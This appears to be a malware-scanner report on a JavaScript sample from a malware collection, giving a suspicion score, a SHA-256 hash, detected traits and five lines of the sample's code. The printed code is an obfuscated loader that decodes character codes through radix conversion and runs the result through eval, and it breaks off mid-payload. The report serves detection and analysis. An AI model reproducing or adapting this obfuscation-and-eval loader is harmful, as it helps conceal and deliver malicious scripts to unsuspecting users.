Suspicious ^80% javascript-malware-collection Download

20151208_7f0da0d03a329508e7fefdb2c9ebd376.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25693c1ac12e9175fe2c8b9a43397e6d4859679f06192463ace5e08a0e71ed1ed5f

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var ABLdkZhbocsbw=[];for(sWauuHK=(-901+901)/978;sWauuHK<(64432+464)/507;sWauuHK++){ABLdkZhbocsbw[sWauuHK]=String.fromCharCode(sWauuHK)}function aUPsO(nqvtiXWVuPl,KNmOSRestedXH,ZUvCGsVW){UrLH=parseInt(nqvtiXWVuPl,KNmOSRestedXH);wYbXn=UrLH.toString(ZUvCGsVW);return wYbXn;}function HDVeePtrSdzOrmN(AoHBuJXslpluxsVVj){eval(AoHBuJXslpluxsVVj)}
2function xrutsGQxeSQhXNmqRIvVlUqYKuMpSjBMUyaKknzzTIlottzbEEOdyO(ORJOfSDKzmKBx,ibKxdyCvqiRmvH){ return ABLdkZhbocsbw[aUPsO(ORJOfSDKzmKBx[ibKxdyCvqiRmvH],(8595+395)/899,(7042+78)/712)];}
3function VpiwjLe(VpoJqlptjStaHWDZcCvCSaYxCAiBkKjWCxvZ) {return !isNaN(parseFloat(VpoJqlptjStaHWDZcCvCSaYxCAiBkKjWCxvZ)) && isFinite(VpoJqlptjStaHWDZcCvCSaYxCAiBkKjWCxvZ);}
4function XHnxoMKzpIY(ymvGXMbv,Oeuxtn){return ymvGXMbv.split(Oeuxtn)}
5var T=[];T.push("13");T.push("10");T.push("13");T.push("10");T.push("118");T.push("97");T.push("114");T.push("32");T. …